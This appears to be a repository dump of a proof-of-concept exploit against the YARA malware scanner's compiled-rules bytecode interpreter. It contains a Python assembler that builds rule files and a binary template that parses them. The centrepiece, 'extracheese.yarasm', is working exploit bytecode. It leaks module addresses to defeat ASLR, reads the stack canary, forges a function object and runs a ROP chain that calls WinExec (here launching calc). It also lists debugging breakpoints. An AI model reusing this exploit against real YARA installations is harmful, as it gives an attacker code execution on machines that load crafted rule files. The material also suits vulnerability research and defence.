| for addr_in_buf, raw_buf in strings: 192 | ouf.seek(eob) 193 | offset = eob 194 | ouf.write(raw_buf) 195 | eob = ouf.tell() 196 | ouf.seek(addr_in_buf) 197 | ouf.write(struct.pack('> 16 179 | hdr.size = len(body_bytes) 180 | 181 | hdr_bytes = bytes(hdr) 182 | file_hash = yr_hash(hdr_bytes) 183 | file_hash = yr_hash(body_bytes, file_hash) 184 | return hdr_bytes + body_bytes + reloc_buffer + DWORD(-1) + DWORD(file_hash) 185 | -------------------------------------------------------------------------------- /extracheese.yarasm: -------------------------------------------------------------------------------- 1 | ; Virtual MEM indexes used: 2 | 3 | ; 1 : "pe" module addr 4 | ; 2 : VSTACK addr 5 | ; 3 : canary value 6 | ; 4 : yara base addr 7 | ; 5 : WinExec addr 8 | 9 | 10 | ; ============= start ============= 11 | OP_PUSH raw 0xBB22CC99 ; magic to find the stack in the heap 12 | 13 | OP_IMPORT ascii "pe" ; add `pe` module to hashtable 14 | OP_OBJ_LOAD ascii "pe" ; load address of module obj to stack 15 | OP_POP_M raw 1 ; dont need leak of uninitialized mem, OK to overwrite 16 | 17 | OP_PUSH_M raw 1 ; pe module 18 | OP_OBJ_FIELD ascii "is_dll" ; function for aslr bypass 19 | OP_PUSH raw 28 ; offset to function pointer of is_dll 20 | OP_INT_ADD 21 | OP_PUSH raw 0x38 ; offset fix for absolute read 22 | OP_INT_SUB 23 | OP_COUNT ; read address of is_dll 24 | OP_PUSH raw 0x16860 ; offset to base. in VS: 0x32650 25 | OP_INT_SUB 26 | OP_POP_M raw 4 ; save module base address 27 | 28 | 29 | OP_PUSH_M raw 1 30 | OP_PUSH raw 0x20490 ; offset option 1 31 | OP_INT_SUB 32 | OP_POP_M raw 2 ; address of stack, maybe 33 | 34 | 35 | OP_PUSH_M raw 1 ; (pe module addr) 36 | OP_PUSH raw 0x38 ; offset for absolute read 37 | OP_INT_SUB 38 | OP_COUNT ; read canary to stack 39 | OP_PUSH raw 0xFFFFFFFF ; just in case it was signed extended to 64bit 40 | OP_BITWISE_AND 41 | OP_POP_M raw 3 ; save canary 42 | 43 | 44 | ; ============= test virtual stack was found ============= 45 | OP_PUSH_M raw 2 ; vstack 46 | OP_PUSH raw 0x38 ; offset for absolute read 47 | OP_INT_SUB 48 | OP_COUNT 49 | OP_PUSH raw 0xFFFFFFFF ; just in case; signed 50 | OP_BITWISE_AND 51 | 52 | OP_BITWISE_XOR 53 | OP_JFALSE reloc +59 ; 11+6*8 ; failed to read it, halt later will fail 54 | 55 | 56 | ; ============= try to find virtual using a different offset ============= 57 | OP_PUSH_M raw 1 58 | OP_PUSH raw 0x20450 ; offset option 2 59 | OP_INT_SUB 60 | OP_POP_M raw 2 ; address of stack, maybe 61 | 62 | OP_PUSH_M raw 2 ; vstack 63 | OP_PUSH raw 0x38 ; offset for absolute read 64 | OP_INT_SUB 65 | OP_COUNT 66 | OP_PUSH raw 0xFFFFFFFF ; just in case; signed 67 | OP_BITWISE_AND 68 | 69 | OP_BITWISE_XOR 70 | OP_JFALSE reloc +2 ; failed to read it, halt 71 | OP_POP 72 | OP_HALT ; ERROR: could not find vstack 73 | 74 | OP_POP ; cleanup xor result 75 | 76 | 77 | ; ============= build fake function object on virtual stack ============= 78 | ; { 79 | ; DWORD canary 80 | ; BYTE type # ignored, should be set OBJECT_TYPE_FUNCTION (5) 81 | ; BYTE[3] padding 82 | ; CHAR* identifier # ignored 83 | ; VOID* parent # ignored 84 | ; VOID* data # ignored 85 | 86 | ; void* return_obj; # ignored 87 | ; struct 88 | ; { 89 | ; CHAR* arguments_fmt # length must be equal to ROP on the vstack (in qwords), actual values don't matter 90 | ; VOID* code; # typedef int (*OP_CALL_TARGET)(void*, void*, void*); 91 | ; } prototypes[1] # should be an array of 10 prototypes, but I make sure OP_CALL matches the first one 92 | ; } 93 | 94 | OP_PUSH_M raw 3 ; sets `canary`, `type`, `padding` 95 | OP_PUSH ascii "my_rop" ; sets `identifier`, `parent` 96 | OP_PUSH raw 0 ; sets `data`, `return_obj` 97 | OP_PUSH ascii "iiiii" ; sets `args_format`. must match the format specified in OP_CALL later on 98 | 99 | ; sets `code` to the one-gadget which will trigger ROP 100 | OP_PUSH raw 0x963B9 ; add esp 0f8h; ret 101 | OP_PUSH_M raw 4 ; module base 102 | OP_INT_ADD 103 | OP_PUSH raw 32 104 | OP_SHL 105 | OP_BITWISE_OR 106 | 107 | 108 | ; ============= find winexec ============= 109 | ; TODO: implement better 110 | OP_PUSH raw 0xCB0AC ; addr of GetProcAddress 111 | OP_PUSH_M raw 4 ; base address of yara 112 | OP_INT_ADD 113 | 114 | OP_PUSH raw 0x38 ; offset for absolute read 115 | OP_INT_SUB 116 | OP_COUNT 117 | 118 | OP_PUSH raw 0xFFFFFFFF ; just in case; signed 119 | OP_BITWISE_AND 120 | OP_PUSH raw 0x0003eaa0 ; offset of winexec on my machine from getprocaddress 121 | OP_INT_ADD 122 | OP_POP_M raw 5 123 | 124 | 125 | ; ============= build ROP on virtual stack ============= 126 | ; TODO: replace padding with retpoline 127 | OP_PUSH_M raw 2 ; fakeobj, required here for the OP_CALL later 128 | OP_PUSH raw 0xBBBBBBBBAAAAAAAA ; padding 129 | OP_PUSH raw 0xDDDDDDDDCCCCCCCC ; 130 | OP_PUSH raw 0x00000000EEEEEEEE ; 131 | OP_PUSH_M raw 5 ; winexec 132 | OP_PUSH raw 32 133 | OP_SHL 134 | OP_BITWISE_OR 135 | 136 | ; ret address to exit process 137 | OP_PUSH raw 0xCA33E ; offset to exit func wrapper from crt 138 | OP_PUSH_M raw 4 139 | OP_INT_ADD 140 | 141 | ; args for winexec 142 | OP_PUSH ascii "calc" 143 | OP_PUSH raw 32 144 | OP_SHL 145 | OP_BITWISE_OR 146 | OP_PUSH raw 5 ; SW_SHOW 147 | 148 | ; run ROP 149 | OP_CALL ascii "iiiii" ; arglist format 150 | 151 | 152 | ; ============= end of code ============= 153 | ; should not reach here 154 | ; virtual stack pointer probably won't be 0 155 | OP_NOP 156 | OP_HALT 157 | 158 | 159 | ; ============= useful WinDbg breakpoints ============= 160 | 161 | ; OP_HALT 162 | ; bp yara32+8E8B 163 | 164 | ; yr_execute_code 165 | ; bp yara32+8D27 ".printf \"stack: %08x\\n\", eax;g" 166 | 167 | ; OP_OBJ_LOAD 168 | ; bp yara32+A169 ".printf \"module: %08x\\n\", eax;g" 169 | 170 | ; switch 171 | ; bp yara32+8E77 ".printf \"op: %d\\n\", al+1;g" 172 | 173 | ; call function - rop 174 | ; bp yara32+AA7D "u eax" 175 | -------------------------------------------------------------------------------- /yara.bt: -------------------------------------------------------------------------------- 1 | //------------------------------------------------ 2 | //--- 010 Editor v8.0.1 Binary Template 3 | // 4 | // File: yara.bt 5 | // Authors: bnbdr 6 | // Version: 1.0 7 | // Purpose: Fun 8 | //------------------------------------------------ 9 | 10 | 11 | 12 | 13 | #define MAX_THREADS 32 14 | #define RULE_GFLAGS_NULL 0x1000 15 | #define EXTERNAL_VARIABLE_TYPE_NULL 0 16 | #define NO_RELOC_MAGIC 0xFFFABADA 17 | #define RELOCATIONS_END_MARKER 0xFFFFFFFF 18 | 19 | 20 | typedef struct{ 21 | DWORD count; 22 | DWORD padding; 23 | QWORD head; 24 | QWORD tail; 25 | }YR_MATCHES; 26 | 27 | typedef struct { 28 | DWORD g_flags; 29 | DWORD length; 30 | 31 | QWORD identifier; 32 | QWORD oString; 33 | QWORD chained_to; 34 | QWORD rule; 35 | 36 | DWORD chain_gap_min; 37 | DWORD chain_gap_max; 38 | 39 | QWORD fixed_offset; 40 | 41 | YR_MATCHES matches[MAX_THREADS]; 42 | YR_MATCHES unconfirmed_matches[MAX_THREADS]; 43 | 44 | // Used only when PROFILING_ENABLED is defined 45 | QWORD time_cost; 46 | } YR_STRING; 47 | 48 | typedef struct { 49 | 50 | DWORD type; 51 | DWORD padding1; 52 | union { 53 | QWORD i; 54 | QWORD f; 55 | QWORD s; 56 | } value; 57 | 58 | QWORD identifier; 59 | DWORD padding2[2]; 60 | 61 | } YR_EXTERNAL_VARIABLE; 62 | 63 | typedef struct 64 | { 65 | DWORD t_flags[MAX_THREADS]; // Thread-specific flags 66 | QWORD name; 67 | }YR_NAMESPACE; 68 | 69 | typedef struct { 70 | DWORD g_flags; // Global flags 71 | DWORD t_flags[MAX_THREADS]; // Thread-specific flags 72 | if (MAX_THREADS%2 == 0) 73 | { 74 | DWORD padding; 75 | } 76 | QWORD identifier; 77 | QWORD tags; 78 | QWORD metas; 79 | QWORD strings; 80 | QWORD ns; 81 | 82 | 83 | // Used only when PROFILING_ENABLED is defined 84 | QWORD time_cost; 85 | 86 | } YR_RULE; 87 | 88 | 89 | 90 | typedef struct 91 | { 92 | QWORD rules_list_head; 93 | QWORD externals_list_head; 94 | QWORD code_start; 95 | QWORD ac_match_table; 96 | QWORD ac_transition_table; 97 | 98 | DWORD ac_tables_size; 99 | DWORD padding; 100 | 101 | } YARA_RULES_FILE_HEADER; 102 | 103 | 104 | 105 | typedef struct { 106 | char magic[4]; 107 | DWORD size; 108 | struct { 109 | WORD max_threads; 110 | WORD arena_ver; 111 | }version; 112 | }YR_HDR; 113 | 114 | 115 | void disassemble(YARA_RULES_FILE_HEADER & fhdr, YR_HDR &hdr){ 116 | 117 | struct{ 118 | 119 | local BYTE shouldStop = 0; 120 | while(!shouldStop){ 121 | switch(ReadUByte()) 122 | { 123 | default: 124 | shouldStop = 1; 125 | break; 126 | case 0x12: struct{BYTE op;QWORD operand[1];}OP_OBJ_FIELD; break; 127 | case 0x64: struct{BYTE op;QWORD operand[0];}OP_INT_EQ; break; 128 | case 0x10: struct{BYTE op;QWORD operand[1];}OP_OBJ_LOAD; break; 129 | case 0x11: struct{BYTE op;QWORD operand[0];}OP_OBJ_VALUE; break; 130 | case 0x02: struct{BYTE op;QWORD operand[0];}OP_OR; break; 131 | case 0x2d: struct{BYTE op;QWORD operand[1];}OP_JTRUE; break; 132 | case 0x0C: struct{BYTE op;QWORD operand[0];}OP_STR_TO_BOOL; break; 133 | case 0x6b: 134 | struct{BYTE op;} OP_INT_SUB; 135 | break; 136 | case 0x6a: 137 | struct{BYTE op;} OP_INT_ADD; 138 | break; 139 | 140 | case 0x14: 141 | struct{BYTE op;}OP_COUNT; 142 | break; 143 | case 0x06: 144 | struct{BYTE op;} OP_BITWISE_OR; 145 | break; 146 | case 45: 147 | struct{BYTE op; QWORD addr;} OP_JTRUE; 148 | break; 149 | case 44: 150 | struct{BYTE op; QWORD addr;} OP_JFALSE; 151 | break; 152 | case 14: 153 | struct{BYTE op; QWORD operand[0];}OP_POP; 154 | break; 155 | case 0x07: 156 | struct{BYTE op;} OP_BITWISE_XOR; 157 | break; 158 | case 0x05: 159 | struct{BYTE op;} OP_BITWISE_AND; 160 | break; 161 | case 0x09: 162 | struct{ 163 | byte op; 164 | }OP_SHR; break; 165 | case 0x08: 166 | struct{ 167 | byte op; 168 | }OP_SHL; break; 169 | 170 | case 0x1c: 171 | struct 172 | { 173 | BYTE op; 174 | QWORD operands[2]; 175 | }OP_INIT_RULE; 176 | break; 177 | 178 | case 0x0d: 179 | struct 180 | { 181 | BYTE op; 182 | QWORD operands[1]; 183 | }OP_PUSH; 184 | 185 | break; 186 | case 0x16: 187 | struct 188 | { 189 | BYTE op; 190 | }OP_FOUND; 191 | 192 | break; 193 | 194 | case 0x1d: 195 | struct 196 | { 197 | BYTE op; 198 | QWORD operands[1]; 199 | }OP_MATCH_RULE; 200 | break; 201 | case 0x1e: 202 | struct 203 | { 204 | BYTE op; 205 | QWORD operands[1]; 206 | }OP_INCR_M; 207 | break; 208 | 209 | case 0x1b: 210 | struct { 211 | BYTE opcode; 212 | QWORD operand[1]; 213 | }OP_PUSH_RULE; break; 214 | case 0x2a: 215 | struct { 216 | BYTE opcode; 217 | QWORD operand[1]; 218 | }OP_IMPORT; break; 219 | 220 | case 0x22: 221 | struct { 222 | BYTE opcode; 223 | QWORD operand[1]; 224 | }OP_PUSH_M; 225 | break; 226 | case 0x21: 227 | struct { 228 | BYTE opcode; 229 | QWORD operand[1]; 230 | }OP_POP_M;break; 231 | case 0x21: 232 | struct { 233 | BYTE opcode; 234 | QWORD operand[1]; 235 | }OP_ADD_M; 236 | 237 | break; 238 | case 0xFE: 239 | struct 240 | { 241 | BYTE opcode; 242 | }OP_NOP; 243 | break; 244 | case 0xFF: 245 | struct 246 | { 247 | BYTE opcode; 248 | }OP_HALT; 249 | //shouldStop =1; 250 | break; 251 | }; 252 | } 253 | } disassembly; // 0xFFFABADA 254 | 255 | } 256 | 257 | // ------------------ 258 | 259 | YR_HDR hdr; 260 | 261 | 262 | YARA_RULES_FILE_HEADER filehdr; 263 | FSeek(sizeof(hdr)+ filehdr.rules_list_head); 264 | 265 | local long rullend = 0; 266 | while ( (ReadUInt() & RULE_GFLAGS_NULL )!= RULE_GFLAGS_NULL) 267 | { 268 | YR_RULE rule; 269 | rullend = FTell(); 270 | FSeek(sizeof(hdr)+ rule.ns); 271 | YR_NAMESPACE ruleNamespace; 272 | 273 | FSeek(sizeof(hdr)+ rule.identifier); 274 | string ruleIdentifier; 275 | FSeek(rullend); 276 | } 277 | 278 | YR_RULE nullrule; 279 | 280 | 281 | FSeek(sizeof(hdr)+ filehdr.externals_list_head); 282 | 283 | 284 | while ( ReadUInt() != EXTERNAL_VARIABLE_TYPE_NULL) 285 | { 286 | YR_EXTERNAL_VARIABLE external; 287 | } 288 | 289 | 290 | YR_EXTERNAL_VARIABLE null_external; 291 | 292 | 293 | // ------------------------------------ 294 | 295 | 296 | FSeek(sizeof(hdr)+ filehdr.code_start); 297 | disassemble(filehdr, hdr); 298 | 299 | FSeek(hdr.size +sizeof(hdr)); 300 | while(ReadUInt() != RELOCATIONS_END_MARKER) 301 | { 302 | DWORD relocationOffset; 303 | } 304 | 305 | DWORD endmarker; 306 | DWORD filehash; 307 | 308 | if (FTell() < FileSize()-8) 309 | { 310 | BYTE unknown[FileSize()-8 - FTell()]; 311 | } 312 | 313 | // Printf("%d: %d\n", FTell(), ReadUInt()); 314 | --------------------------------------------------------------------------------